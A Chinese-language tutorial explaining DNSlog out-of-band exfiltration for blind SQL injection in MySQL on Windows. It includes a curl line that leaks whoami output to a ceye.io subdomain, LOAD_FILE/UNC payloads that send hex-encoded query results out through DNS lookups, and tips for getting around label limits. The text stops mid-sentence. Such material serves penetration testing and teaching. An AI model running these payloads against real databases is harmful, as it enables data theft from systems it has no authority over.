0x00 DNS 注入原理:
测试一些站点时,大部分都是没有回显的,这时我们一般自己写脚本来猜数据,但是会产生大量的请求导致IP被ban。
所以这时我们就可以把 select 出来的数据发给dns服务器,利用dns解析产生日志来查看数据
原理就是DNS在解析的时候会留下日志,然后我们通过dns平台来读取多级域名的解析日志,来获取信息
简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息。
DNSLOG 平台, http://ceye.io/
DNS 在解析的时候会留下日志,通过读取多级域名的解析日志,获取请求信息。
curl whoami
.xxxx.ceye.io
linux 输入这个会在中执行 whoami 命令,会在dnslog平台回显结果
0x01 权限查看
通过DNS log盲注要用到 load_file() 函数,所以一般要是root权限,并且要 load_file() 函数可以正常使用。
- mysql执行:show variables like ‘%secure%’;
- 查看load_file()可以读取的磁盘。
- 当secure_file_priv为空,就可以读取全部磁盘的文件。
- 当secure_file_priv为G:\,就可以读取G盘的文件。
- 当secure_file_priv为null,load_file就不能加载文件。
mysql> show variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
0x02 my.ini 修改
本地测试时,如果权限不够可以修改一下
- 打开my.ini
- 搜索一下secure_file_priv
- 有就修改为 secure_file_priv=””
- 没有就添加这一句:secure_file_priv=””
- 重新mysql
0x03 测试
记忆方式:select LOAD_FILE(CONCAT('\\\\',(select payload),'.11b7kdti.ceye.io\\abc'));
实战:select LOAD_FILE(CONCAT('\\\\',(select hex(user())),'.11b7kdti.ceye.io\\abc'));;
UNC路径:
以下是百度的UNC路径的解释
UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。格式为:+ \servername\sharename\directory\filename。
其实我们平常在Widnows中用共享文件的时候就会用到这种网络地址的形式\sss.xxx\test\
原理就是’\\‘代表Microsoft Windows通用命名规则(UNC)的文件和目录路径格式利用任何以下扩展存储程序引发DNS地址解析。双斜杠表示网络资源路径多加两个\就是转义了反斜杠。(UNC格式 \servername\sharename ,其中 servername 是服务器名,sharename 是共享资源名)
因为Linux没有UNC路径这个东西,所以当MySQL处于Linux系统中的时候,是不能使用这种方式外带数据
0x04 注意点
- 域名前缀长度限制在63个字符,解决办法是用mid()之类的函数来获取。
- 域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。
- 使用 Load_file()函数只能在windows操作系统发起请求,不能在linux服务器上发送请求。
用Navicat 执行 DNSLOG 语句时,必须用hex对执行函数返回的结果进行编码,dns平台接收之后在解码。语句如下